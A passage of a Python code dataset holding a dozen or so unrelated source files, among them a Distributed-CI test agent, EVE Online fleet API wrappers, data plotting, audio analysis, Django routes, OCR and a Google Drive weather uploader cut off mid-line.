URIRef(NAMESPACES.DTS.collection)\n EXPORT_TO = [Mimetypes.XML.CTS, Mimetypes.JSON.DTS.Std]\n\n def __init__(self, identifier=\"default\"):\n super(TextInventoryCollection, self).__init__(identifier=identifier)\n self.__children__ = dict()\n\n def __len__(self):\n \"\"\" Get the number of text in the Inventory\n\n :return: Number of texts available in the inventory\n \"\"\"\n return len([\n text\n for inv in self.members\n for tg in inv.textgroups.values()\n for work in tg.works.values()\n for text in work.texts.values()\n ])\n\n def __export__(self, output=None, domain=\"\", namespaces=True):\n \"\"\" Create a {output} version of the PrototypeTextInventory\n\n :param output: Format to be chosen\n :type output: basestring\n :param domain: Domain to prefix IDs when necessary\n :type domain: str\n :param namespaces: List namespaces in main node\n :returns: Desired output formated resource\n \"\"\"\n if output == Mimetypes.XML.CTS:\n attrs = {}\n if self.id:\n attrs[\"tiid\"] = self.id\n\n return self.__xml_export_generic__(\n attrs,\n namespaces=namespaces,\n members=[\n m for inv in self.members for m in inv.members\n ]\n )\n elif output == Mimetypes.JSON.DTS.Std:\n if len(self.members) > 1:\n return Collection.__export__(self, output=output, domain=domain)\n else:\n return self.members[0].export(output=output, domain=domain)\n","sub_path":"MyCapytain/resources/prototypes/cts/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":21440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"441611232","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2016 Red Hat, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom . import version\nfrom dciclient.v1.api import context as dci_context\nfrom dciclient.v1.api import file as dci_file\nfrom dciclient.v1.api import job as dci_job\nfrom dciclient.v1.api import jobstate as dci_jobstate\nfrom dciclient.v1.api import remoteci as dci_remoteci\nfrom dciclient.v1.api import topic as dci_topic\nfrom dciclient.v1 import helper as dci_helper\nfrom dciclient.v1 import tripleo_helper as dci_tripleo_helper\n\nimport tripleohelper.server\nimport tripleohelper.undercloud\n\nimport argparse\nimport logging\nimport os\nimport os.path\nimport sys\nimport traceback\nimport yaml\n\n\ndef load_config(config_path):\n with open(config_path, 'r') as fd:\n dci_conf = yaml.load(fd)\n if 'dci_cs_url' not in dci_conf['auth']:\n dci_conf['auth']['dci_cs_url'] = 'https://api.distributed-ci.io'\n if 'key_filename' not in dci_conf:\n dci_conf['key_filename'] = os.path.expanduser('~/.ssh/id_rsa')\n if 'repository' not in dci_conf['mirror']:\n dci_conf['mirror']['repository'] = '/var/www/html'\n return dci_conf\n\n\ndef get_dci_context(**args):\n args['user_agent'] = 'dci-agent-' + version\n return dci_context.build_dci_context(**args)\n\n\ndef init_undercloud_host(undercloud_ip, key_filename):\n # Waiting for the undercloud host to be back\n undercloud = tripleohelper.undercloud.Undercloud(\n hostname=undercloud_ip,\n user='stack',\n key_filename=key_filename)\n # copy our public SSH key to be able later to run our tests\n undercloud.run('sudo mkdir -p /root/.ssh', retry=600, user='stack')\n undercloud.run('sudo chmod 700 /root/.ssh', user='stack')\n undercloud.run('sudo cp /home/stack/.ssh/authorized_keys /root/.ssh/',\n user='stack')\n\n\ndef prepare_local_mirror(ctx, mirror_location, mirror_url, components):\n repo_entry = \"\"\"\n[{name}]\nname={name}\nbaseurl={mirror_url}{path}\nenable=1\ngpgcheck=0\npriority=0\n\n\"\"\"\n dci_jobstate.create(ctx, 'pre-run', 'refreshing local mirror',\n ctx.last_job_id)\n with open(mirror_location + '/RHOS-DCI.repo', 'w') as f:\n for c in components:\n dest = mirror_location + '/' + c['data']['path']\n if not os.path.exists(dest):\n os.makedirs(dest)\n dci_helper.run_command(\n ctx,\n [\n 'rsync',\n '-av',\n '--hard-links',\n 'partner@rhos-mirror.distributed-ci.io:/srv/puddles/' +\n c['data']['path'] + '/',\n dest])\n f.write(repo_entry.format(\n mirror_url=mirror_url,\n name=c['data']['repo_name'],\n path=c['data']['path']))\n\n\ndef main(argv=None):\n logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n parser = argparse.ArgumentParser()\n parser.add_argument('--topic')\n parser.add_argument('--config', default='/etc/dci/dci_agent.yaml')\n parser.add_argument('--version', action='version',\n version=('dci-agent %s' % version))\n args = parser.parse_args(argv)\n\n dci_conf = load_config(args.config)\n ctx = get_dci_context(**dci_conf['auth'])\n topic_name = args.topic if args.topic else dci_conf['topic']\n topic = dci_topic.get(ctx, topic_name).json()['topic']\n remoteci = dci_remoteci.get(ctx, dci_conf['remoteci']).json()['remoteci']\n r = dci_job.schedule(ctx, remoteci['id'], topic_id=topic['id'])\n if r.status_code == 412:\n logging.info('Nothing to do')\n exit(0)\n elif r.status_code != 201:\n logging.error('Unexpected code: %d' % r.status_code)\n logging.error(r.text)\n exit(1)\n components = dci_job.get_components(\n ctx, ctx.last_job_id).json()['components']\n logging.debug(components)\n\n try:\n prepare_local_mirror(ctx,\n dci_conf['mirror']['directory'],\n dci_conf['mirror']['url'],\n components)\n dci_jobstate.create(ctx, 'pre-run', 'director node provisioning',\n ctx.last_job_id)\n for c in dci_conf['hooks']['provisioning']:\n dci_helper.run_command(ctx, c, shell=True)\n init_undercloud_host(dci_conf['undercloud_ip'],\n dci_conf['key_filename'])\n dci_jobstate.create(\n ctx,\n 'running',\n 'undercloud deployment',\n ctx.last_job_id)\n for c in dci_conf['hooks']['undercloud']:\n dci_helper.run_command(ctx, c, shell=True)\n dci_jobstate.create(ctx, 'running', 'overcloud deployment',\n ctx.last_job_id)\n for c in dci_conf['hooks']['overcloud']:\n dci_helper.run_command(ctx, c, shell=True)\n dci_tripleo_helper.run_tests(\n ctx,\n undercloud_ip=dci_conf['undercloud_ip'],\n key_filename=dci_conf['key_filename'],\n remoteci_id=remoteci['id'],\n stack_name=dci_conf.get('stack_name', 'overcloud'))\n final_status = 'success'\n backtrace = ''\n msg = ''\n except Exception as e:\n final_status = 'failure'\n backtrace = traceback.format_exc()\n msg = str(e)\n pass\n\n # Teardown should happen even in case of failure and should not make the\n # agent run fail.\n try:\n teardown_commands = dci_conf['hooks'].get('teardown')\n if teardown_commands:\n dci_jobstate.create(ctx, 'post-run', 'teardown',\n ctx.last_job_id)\n for c in teardown_commands:\n dci_helper.run_command(ctx, c, shell=True)\n except Exception as e:\n backtrace_teardown = str(e) + '\\n' + traceback.format_exc()\n logging.error(backtrace_teardown)\n dci_file.create(\n ctx,\n 'backtrace_teardown',\n backtrace_teardown,\n mime='text/plain',\n jobstate_id=ctx.last_jobstate_id)\n pass\n\n dci_jobstate.create(\n ctx,\n final_status,\n msg,\n ctx.last_job_id)\n logging.info('Final status: ' + final_status)\n if backtrace:\n logging.error(backtrace)\n dci_file.create(\n ctx,\n 'backtrace',\n backtrace,\n mime='text/plain',\n jobstate_id=ctx.last_jobstate_id)\n sys.exit(0 if final_status == 'success' else 1)\n","sub_path":"dci_agent/dci_agent.py","file_name":"dci_agent.py","file_ext":"py","file_size_in_byte":7060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"579996404","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/go_http/tests/test_exceptions.py\n# Compiled at: 2017-02-17 10:13:07\n\"\"\"\nTests for go_http.exceptions.\n\"\"\"\nfrom unittest import TestCase\nfrom go_http.exceptions import PagedException\n\nclass TestPagedException(TestCase):\n\n def test_creation(self):\n err = ValueError('Testing Error')\n p = PagedException('12345', err)\n self.assertTrue(isinstance(p, Exception))\n self.assertEqual(p.cursor, '12345')\n self.assertEqual(p.error, err)\n\n def test_repr(self):\n p = PagedException('abcde', ValueError('Test ABC'))\n self.assertEqual(repr(p), \"\")\n\n def test_str(self):\n p = PagedException('lmnop', ValueError('Test LMN'))\n self.assertEqual(str(p), \"\")","sub_path":"pycfiles/go_http-0.3.2-py2.7/test_exceptions.py","file_name":"test_exceptions.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"92369114","text":"import json\n\nfrom django.conf import settings\n\n\nclass FleetCrestCommands(object):\n def __init__(self, request, fleet_url):\n self.authed_crest = pycrest.eve.AuthedConnection(\n res=request.user._get_crest_tokens(),\n endpoint='https://crest-tq.eveonline.com',\n oauth_endpoint=pycrest.EVE()._oauth_endpoint,\n client_id=settings.SOCIAL_AUTH_EVEONLINE_KEY,\n api_key=settings.SOCIAL_AUTH_EVEONLINE_SECRET\n )\n self._fleet_url = fleet_url\n\n def refresh(self):\n self.authed_crest.refresh()\n\n def create_new_wing(self, fleet_url):\n url = \"{0}wings/\".format(fleet_url)\n return self.authed_crest.post(url)\n\n def create_new_squad(self, wing_id): # wing_id optional\n url = \"{0}squads/\".format(wing_url)\n return self.authed_crest.post(url)\n\n def get_fleet_structure(self):\n \"\"\"\n :return: structure of crest.interfaces.ts\n \"\"\"\n self.authed_crest.refresh()\n url = \"{0}wings/\".format(self._fleet_url)\n fleet = dict()\n fleet['wings'] = list()\n for wing in self.authed_crest.get(url).get('items'):\n new_wing = dict()\n new_wing['squads'] = list()\n new_wing['id'] = wing.get('id')\n new_wing['name'] = wing.get('name')\n for squad in wing.get('squadsList', []):\n new_squad = dict()\n new_squad['id'] = squad.get('id')\n new_squad['name'] = squad.get('name')\n new_wing['squads'].append(new_squad)\n fleet['wings'].append(new_wing)\n return fleet\n\n def get_fleet_member(self):\n self.authed_crest.refresh()\n url = \"{0}members/\".format(self._fleet_url)\n memberlist = list()\n for member in self.authed_crest.get(url).get('items'):\n new_member = dict()\n new_member['wing_id'] = member.get('wingID', -1)\n new_member['squad_id'] = member.get('squadID', -1)\n new_member['ship'] = {\n \"id\": member.get('ship').get('id'),\n \"name\": member.get('ship').get('name')\n }\n new_member['takesFleetWarp'] = member.get('takesFleetWarp', True)\n new_member['role'] = member.get('roleName') # default member\n new_member['solarSystem'] = {\n \"id\": member.get('solarSystem').get('id'),\n \"name\": member.get('solarSystem').get('name')\n }\n new_member['character'] = {\n \"id\": member.get('character').get('id'),\n \"name\": member.get('character').get('name')\n }\n memberlist.append(new_member)\n return memberlist\n\n # def get_fleet_members(self, fleet_url):\n # retr2 = {'pageCount': 1, 'pageCount_str': '1', 'totalCount': 1,\n # 'items': [{'joinTime': '2016-08-30T18:01:36',\n # 'ship': {'name': 'Malediction',\n # 'id_str': '11186',\n # 'id': 11186,\n # 'href': 'https://crest-tq.eveonline.com/inventory/types/11186/'},\n # 'takesFleetWarp': True,\n # 'squadID': -1, 'squadID_str': '-1',\n # 'roleID': 1, 'boosterID_str': '1',\n # 'href': 'https://crest-tq.eveonline.com/fleets/1054411260314/members/94015645/',\n # 'character': {\n # 'name': 'Haucher Nactar',\n # 'id_str': '94015645',\n # 'id': 94015645,\n # 'href': 'https://crest-tq.eveonline.com/characters/94015645/',\n # 'isNPC': False},\n # 'roleID_str': '1',\n # 'wingID_str': '-1',\n # 'boosterName': 'Fleet Booster',\n # 'roleName': 'Fleet Commander (Boss)',\n # 'solarSystem': {'name': 'Litom',\n # 'id_str': '30001048',\n # 'id': 30001048,\n # 'href': 'https://crest-tq.eveonline.com/solarsystems/30001048/'},\n # 'wingID': -1, 'station': {\n # 'name': 'Litom XI - Moon 2 - Guardian Angels Assembly Plant', 'id_str': '60012904',\n # 'id': 60012904,\n # 'href': 'https://crest-tq.eveonline.com/stations/60012904/'}, 'boosterID': 1}],\n # 'totalCount_str': '1'}\n # lastretr = {'takesFleetWarp': True, 'wingID': 2097211259778,\n # 'href': 'https://crest-tq.eveonline.com/fleets/1083011259778/members/94015645/', 'roleID': 3,\n # 'solarSystem': {'name': 'A-ELE2', 'id_str': '30004708',\n # 'href': 'https://crest-tq.eveonline.com/solarsystems/30004708/', 'id': 30004708},\n # 'character': {'href': 'https://crest-tq.eveonline.com/characters/94015645/', 'id_str': '94015645',\n # 'isNPC': False,\n # 'name': 'Haucher Nactar', 'id': 94015645},\n # 'station': {'name': 'A-ELE2 VI - Blood Raiders Assembly Plant', 'id_str': '60014944',\n # 'href': 'https://crest-tq.eveonline.com/stations/60014944/', 'id': 60014944},\n # 'joinTime': '2016-08-28T17:31:00',\n # 'squadID': 3157711259778,\n # 'roleName': 'Squad Commander (Boss)',\n # 'boosterID': 3,\n # 'roleID_str': '3', 'boosterName': 'Squad Booster',\n # 'ship': {'name': 'Malediction', 'id_str': '11186',\n # 'href': 'https://crest-tq.eveonline.com/inventory/types/11186/',\n # 'id': 11186}, 'boosterID_str': '3', 'squadID_str': '3157711259778',\n # 'wingID_str': '2097211259778'}\n # url = \"{0}members/\".format(fleet_url)\n # val = self.authed_crest.get(url)\n # return val\n\n def kick_member(self, member_url):\n self.authed_crest.delete(member_url)\n return 0\n\n def move_member(self, member_url, newWingId, newSquadId, newRole):\n data = {'newSquadID': newSquadId,\n 'newWingID': newWingId,\n 'newRole': newRole,\n }\n self.authed_crest.put(member_url, json.dumps(data))\n return\n\n def rename(self, url, name):# wingId squadid\n data = {'name': name}\n self.authed_crest.put(url, json.dumps(data))\n return\n\n def remove_squad(self, squad_url):# wingId squadid optional\n self.authed_crest.delete(squad_url)\n return\n\n def remove_wing(self, wing_url):\n self.authed_crest.delete(wing_url)\n return","sub_path":"django_eve_data/comfort_layer/fleet.py","file_name":"fleet.py","file_ext":"py","file_size_in_byte":7053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"559415360","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef load_data():\n titanic = pd.read_csv('files/titanic.csv')\n return titanic\n\ndef draw_plot(titanic):\n proportions = []\n sum_instances = titanic['Sex'].value_counts()\n length = len(titanic['Sex'])\n proportions = list(sum_instances)\n labels = ['Males','Females']\n explode = (0,0.1)\n sizes = proportions\n fig, ax1 = plt.subplots(figsize = (6,6))\n ax1.pie(sizes, explode = explode, labels = labels, shadow = True, startangle=90)\n ax1.axis('equal')\n ax1.set_title(\"Sex Proportions\")\n plt.show()\n\ndef draw_historgram(titanic):\n sort_fare = titanic.sort_values('Fare')\n bins = np.arange(5,85)\n fig, axis = plt.subplots(figsize=(10,6))\n axis.hist(titanic['Fare'],bins=bins)\n axis.set_title(\"Fare Pay Histogram\")\n axis.set_xlabel(\"Fare\")\n axis.set_ylabel(\"Frequency\")\n plt.tight_layout()\n plt.show()\n\n\n# titanic = load_data()\n# draw_historgram(titanic)\n","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"304085598","text":"import os\nimport sys\nimport time\nimport tempfile\nimport subprocess\nimport multiprocessing as mp\nfrom shutil import copyfile\nfrom datamosh.utils import bufspill, write_json\nfrom datamosh.variables import unique_audio_files, unique_audio_folder, project_root\n\n# You need to pass in the input directory and the output file\nif len(sys.argv) < 2:\n print('You need to pass an output file.')\n exit()\n\nthis_script = os.path.dirname(os.path.realpath(__file__))\n\noutput_file = sys.argv[1]\noutput_json = os.path.join(this_script, output_file)\n\n# temporary directory for files\ntmp_dir = tempfile.mkdtemp()\n# Global Dicts for writing out results\ncentroid_dict = mp.Manager().dict()\n\ndef analyse(idx: int):\n ## Setup paths/files etc\n shape_src = os.path.join(unique_audio_folder, unique_audio_files[idx])\n shape_features = os.path.join(tmp_dir, f'{unique_audio_files[idx]}_features.wav')\n shape_stats = os.path.join(tmp_dir, f'{unique_audio_files[idx]}_stats.wav' )\n ## Compute spectral shape descriptors\n subprocess.call([\n 'fluid-spectralshape', \n '-source', shape_src, \n '-features', shape_features, \n '-fftsettings', '4096', '512', '4096'\n ])\n ## Now get the stats of the shape analysis\n subprocess.call([\n 'fluid-stats', \n '-source', shape_features, \n '-stats', shape_stats,\n '-numderivs', '1',\n '-startchan', '1',\n '-numchans', '1'\n ])\n ## Put Data in the global dictionary\n data = bufspill(shape_stats)[0] ## Only grab the first seven values, we dont care about derivatives.\n try:\n centroid_dict[unique_audio_files[idx]] = data.tolist()\n os.remove(shape_stats)\n os.remove(shape_features)\n except:\n print(f'There was no data to process for {shape_src}.')\n \nstart = time.time()\nnum_jobs = len(unique_audio_files)\nwith mp.Pool() as pool:\n for i, _ in enumerate(\n pool.imap_unordered(analyse, range(num_jobs))\n , 1):\n sys.stderr.write('\\rAnalysis Progress {0:%}'.format(i/num_jobs))\nwrite_json(output_json, dict(centroid_dict))\nos.rmdir(tmp_dir)\nend = time.time()\ntime_taken = round(((end-start) / 60.), 2)\nprint('\\nProcess complete in:', time_taken)","sub_path":"python_scripts/descriptor_analysis/3_centroid.py","file_name":"3_centroid.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"431866271","text":"from PIL import ImageFont\nfrom PIL import Image, ImageDraw, ImageFont\nimport os\nim = Image.new('RGBA', (200, 200), 'white')\n\ndraw = ImageDraw.Draw(im)\ndraw.text((20, 150), 'Hello', fill='purple')\nfontsFolder = 'C:\\\\Windows\\\\Fonts' # e.g. ‘/Library/Fonts’\narialFont = ImageFont.truetype(os.path.join(fontsFolder, 'arial.ttf'), 32)\ndraw.text((100, 150), 'Howdy', fill='gray', font=arialFont)\nim.save('text.png')","sub_path":"Py/autoPython/2/17font.py","file_name":"17font.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"613623867","text":"from django.conf.urls import url\nfrom . import views\nfrom . import tei_views\nfrom archeutils import views as arche_views\n\n\napp_name = 'cards'\n\nurlpatterns = [\n url(\n r'^ids$',\n arche_views.get_ids,\n name='get_ids'\n ),\n url(\n r'^arche$',\n arche_views.project_as_arche_graph,\n name='project_as_arche'\n ),\n url(\n r'^card/$',\n views.CardListView.as_view(),\n name='card_browse'\n ),\n url(\n r'^card/detail/(?P[0-9]+)$',\n views.CardDetailView.as_view(),\n name='card_detail'\n ),\n url(\n r'^card/tei/(?P[0-9]+)$',\n tei_views.as_tei,\n name='card_as_tei'\n ),\n url(\n r'^card/arche/(?P[0-9]+)$',\n arche_views.res_as_arche_graph,\n name='card_arche'\n ),\n url(\n r'^card/create/$',\n views.CardCreate.as_view(),\n name='card_create'\n ),\n url(\n r'^card/edit/(?P[0-9]+)$',\n views.CardUpdate.as_view(),\n name='card_edit'\n ),\n url(\n r'^card/delete/(?P[0-9]+)$',\n views.CardDelete.as_view(),\n name='card_delete'),\n url(\n r'^cardcollection/$',\n views.CardCollectionListView.as_view(),\n name='cardcollection_browse'\n ),\n url(\n r'^cardcollection/detail/(?P[0-9]+)$',\n views.CardCollectionDetailView.as_view(),\n name='cardcollection_detail'\n ),\n url(\n r'^cardcollection/create/$',\n views.CardCollectionCreate.as_view(),\n name='cardcollection_create'\n ),\n url(\n r'^cardcollection/edit/(?P[0-9]+)$',\n views.CardCollectionUpdate.as_view(),\n name='cardcollection_edit'\n ),\n url(\n r'^cardcollection/delete/(?P[0-9]+)$',\n views.CardCollectionDelete.as_view(),\n name='cardcollection_delete'),\n]\n","sub_path":"cards/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"626982354","text":"# \"\"\"\n# This is the interface that allows for creating nested lists.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\n#class NestedInteger(object):\n# def isInteger(self):\n# \"\"\"\n# @return True if this NestedInteger holds a single integer, rather than a nested list.\n# :rtype bool\n# \"\"\"\n#\n# def getInteger(self):\n# \"\"\"\n# @return the single integer that this NestedInteger holds, if it holds a single integer\n# Return None if this NestedInteger holds a nested list\n# :rtype int\n# \"\"\"\n#\n# def getList(self):\n# \"\"\"\n# @return the nested list that this NestedInteger holds, if it holds a nested list\n# Return None if this NestedInteger holds a single integer\n# :rtype List[NestedInteger]\n# \"\"\"\n\nclass Solution(object):\n def depthSumInverse(self, nestedList):\n \"\"\"\n :type nestedList: List[NestedInteger]\n :rtype: int\n \"\"\"\n \n if len(nestedList) == 0: return 0\n \n solution = [0, 0]\n def _maxLevel(nestedList, currlevel, solution):\n if nestedList.isInteger(): solution[0] = max(solution[0], currlevel)\n else:\n for item in nestedList.getList():\n _maxLevel(item, currlevel+1, solution)\n \n for nl in nestedList:\n _maxLevel(nl, 1, solution)\n \n def _depthSumInverse(nestedList, solution, currlevel):\n if nestedList.isInteger():\n solution[1] += (solution[0]+1-currlevel) * nestedList.getInteger()\n else:\n for item in nestedList.getList():\n _depthSumInverse(item, solution, currlevel+1)\n \n for nl in nestedList:\n _depthSumInverse(nl, solution, 1)\n \n return solution[1]","sub_path":"364-Nested-List-Weight-Sum-II/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"457084434","text":"import itertools\r\nimport pprint\r\nimport random\r\n\r\nfrom typing import List, Dict\r\n\r\nclass Hyperparameters:\r\n\r\n def __init__(self, definitions: Dict) -> None:\r\n self.definitions = definitions\r\n self.combinations = Hyperparameters._generate_combinations(definitions)\r\n\r\n def sample_combinations(self, count: int) -> List[Dict]:\r\n \"\"\"\r\n Returns a random subset of hyperparameter combinations.\r\n \"\"\"\r\n\r\n max_count = len(self.combinations) \r\n if count > max_count:\r\n print(f\"Using maximum number of hyperparameter combinations ({max_count}) instead of the number provided ({count}).\")\r\n count = max_count\r\n return random.sample(self.combinations, count)\r\n\r\n @staticmethod\r\n def _generate_combinations(dictionary: Dict) -> List[Dict]:\r\n \"\"\"\r\n Generates a list of hyperparameter combinations from a dictionary of\r\n possibilities.\r\n \"\"\"\r\n\r\n expanded_dictionary = {}\r\n for key in dictionary:\r\n original_value = dictionary[key]\r\n expanded_values = []\r\n\r\n if isinstance(original_value, list):\r\n for value in original_value:\r\n if isinstance(value, dict):\r\n value = Hyperparameters._generate_combinations(value)\r\n expanded_values += value\r\n else:\r\n expanded_values.append(value)\r\n else:\r\n expanded_values.append(original_value)\r\n\r\n expanded_dictionary[key] = expanded_values\r\n\r\n return [dict(zip(expanded_dictionary, v)) \r\n for v in itertools.product(*expanded_dictionary.values())]\r\n\r\n def print_combinations(self) -> None:\r\n \"\"\"\r\n Prints hyperparameter combinations.\r\n \"\"\"\r\n\r\n pprint.pprint(self.combinations)\r\n","sub_path":"dieline-classifier/dieline_classifier/hyperparameters.py","file_name":"hyperparameters.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"53371730","text":"# -*- coding: UTF-8 -*-\nfrom time import time\nfrom config import scale, maxScale, TEXT_LINE_SCORE\nfrom server.convert import base64_cv2\nfrom server.ocr import text_ocr\n\n\ndef do_ocr(img, config=None, debug=False,\n ifadjustDegree=True, detectAngle=True):\n data = text_ocr(img, scale, maxScale, TEXT_LINE_SCORE)\n return data\n\n\ndef ocr(image, debug=False):\n \"\"\"工作证识别\"\"\"\n image = base64_cv2(image)\n time_take = time()\n res = do_ocr(image, debug=debug)\n return {\n 'data': res,\n 'waste_time': time() - time_take,\n }\n\n\nif __name__ == '__main__':\n from fireRest import API, app\n API(ocr)\n app.run(port=20921, host='0.0.0.0', debug=True)\n","sub_path":"ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"187383222","text":"import os\r\nimport glob\r\nimport sys\r\nimport wave\r\n\r\n\r\ndef grab_wav_files(base_dir):\r\n \"\"\"Function to get a list of wav files within a\r\n specified directory.\r\n\r\n Args: base_dir (str) directory containing wav files\r\n\r\n Returns: wav_file_paths (list)\"\"\"\r\n\r\n search_string = os.path.join(base_dir, '*.wav')\r\n wav_file_paths = glob.glob(search_string)\r\n\r\n if len(wav_file_paths) < 1:\r\n print('No wave files found, exiting program')\r\n sys.exit()\r\n\r\n return wav_file_paths\r\n\r\ndef grab_wav_metadata(wav_file):\r\n \"\"\" Function to grab the following from a WAV file:\r\n - the number of channels\r\n - the sample rate\r\n - the number of bits per sample\r\n\r\n Args: wav_file, str: Full path to WAV file to query.\r\n\r\n Returns: wav_metadata (dict): Contains wav file info\"\"\"\r\n\r\n wav_filename = os.path.basename(wav_file)\r\n wav_metadata = {}\r\n\r\n try:\r\n print('Processing {}'.format(wav_filename))\r\n with wave.open(wav_file, 'rb') as wav_reader:\r\n num_channels = wav_reader.getnchannels()\r\n # NOTE sample rate is the same as frame rate for PCM formats\r\n sample_rate = wav_reader.getframerate()\r\n sample_width_bytes = wav_reader.getsampwidth()\r\n sample_width_bits = sample_width_bytes * 8\r\n\r\n wav_metadata[wav_filename] = {'num channels' : num_channels,\r\n 'sample rate' : sample_rate,\r\n 'sample width' : sample_width_bits}\r\n\r\n except wave.Error:\r\n raise\r\n\r\n return wav_metadata\r\n\r\ndef main():\r\n \"\"\"This script will get requested information from\r\n WAV files stored in the same directory as the script itself\r\n and store the results in dictionary format\"\"\"\r\n\r\n # Change this variable if wav files are located\r\n # somewhere different to the script\r\n wav_file_directory = os.path.dirname(sys.argv[0])\r\n\r\n wav_file_paths = grab_wav_files(wav_file_directory)\r\n\r\n all_wav_metadata = {}\r\n for wav_file in wav_file_paths:\r\n wav_metadata = grab_wav_metadata(wav_file)\r\n all_wav_metadata.update(wav_metadata)\r\n\r\n print('Done!')\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"exercise_1.py","file_name":"exercise_1.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"455172827","text":"from urllib2 import urlopen\r\nimport json, os, time\r\nfrom subprocess import call\r\nimport email.utils\r\nfrom time import mktime\r\nfrom datetime import datetime\r\nfrom pydrive.auth import GoogleAuth\r\nfrom pydrive.drive import GoogleDrive\r\nimport os\r\n\r\ndef uploadFileGoogleDrive(files):\r\n # Upload the files\r\n global drive\r\n for f in files:\r\n # new_file = drive.CreateFile({\"parents\": [{\"id\": PARENT_ID}], \"mimeType\":\"text/plain\"})\r\n new_file = drive.CreateFile({\"parents\": [{\"id\": PARENT_ID}]})\r\n new_file.SetContentFile(f)\r\n new_file.Upload()\r\n print (\"Uploaded: \" + f)\r\n\r\ndef updateFileGoogleDrive(PARENT_ID_DIR, files):\r\n # Upload the files\r\n global drive\r\n file_list = listGoogleDriveDirectory(PARENT_ID_DIR)\r\n for gf in file_list:\r\n print (gf)\r\n for f in filesAll:\r\n if gf['title'] == f:\r\n updatedFile = drive.CreateFile({'id': gf['id']})\r\n updatedFile.SetContentFile(f)\r\n updatedFile.Upload()\r\n\r\ndef listGoogleDriveDirectory(PARENT_ID_DIR):\r\n global drive\r\n file_list = []\r\n gfile_list = drive.ListFile({'q': \"'\" + PARENT_ID_DIR + \"' in parents and trashed=false\"}).GetList()\r\n for file1 in gfile_list:\r\n file_list.append({'title': file1['title'], 'id': file1['id']})\r\n return file_list\r\n\r\ndef deleteFileGoogleDrive(files):\r\n global drive\r\n file_list = drive.ListFile({'q': \"'1AhP69pOQfB5bO3kOYG9ZBv7mah1Uv_eu' in parents and trashed=false\"}).GetList()\r\n for file1 in file_list:\r\n if file1['title'] in files:\r\n file1.Delete()\r\n\r\ndef authGoogle():\r\n global drive\r\n # Define the credentials folder\r\n home_dir = os.path.expanduser(\".\")\r\n credential_dir = os.path.join(home_dir, \".credentials\")\r\n if not os.path.exists(credential_dir):\r\n os.makedirs(credential_dir)\r\n credential_path = os.path.join(credential_dir, \"pydrive-credentials.json\")\r\n \r\n # Start authentication\r\n gauth = GoogleAuth()\r\n # Try to load saved client credentials\r\n gauth.LoadCredentialsFile(credential_path)\r\n if gauth.credentials is None:\r\n # Authenticate if they're not there\r\n gauth.CommandLineAuth()\r\n elif gauth.access_token_expired:\r\n # Refresh them if expired\r\n gauth.Refresh()\r\n else:\r\n # Initialize the saved creds\r\n gauth.Authorize()\r\n # Save the current credentials to a file\r\n gauth.SaveCredentialsFile(credential_path)\r\n drive = GoogleDrive(gauth)\r\n\r\ndef createFiles():\r\n # ----------- Conditions\r\n conditions = urlopen('http://api.wunderground.com/api//geolookup/conditions/q/39.262733,-94.641335.json')\r\n json_string = conditions.read()\r\n parsed_json = json.loads(json_string)\r\n with open(\"/home/richard/www/actiontiles/weatherC.json\", 'w+') as file:\r\n json.dump(parsed_json, file, indent=4)\r\n observationDateTime = parsed_json['current_observation']['observation_time_rfc822']\r\n observationDateTime_parsed = email.utils.parsedate(observationDateTime)\r\n observationDT = datetime.fromtimestamp(mktime(observationDateTime_parsed))\r\n # print (observationDT.strftime('%A %-I:%M %p'))\r\n conditions.close()\r\n\r\n html = \"\\n\"\r\n html += \"\\n\"\r\n html += \"
\\n\"\r\n html += \"
\" + parsed_json['location']['city'] + \", \" + parsed_json['location']['state'] + \"
\\n\"\r\n html += \"
\" + observationDT.strftime('%a, %b %-d') + \" as of \" + observationDT.strftime('%-I:%M %p') + \"
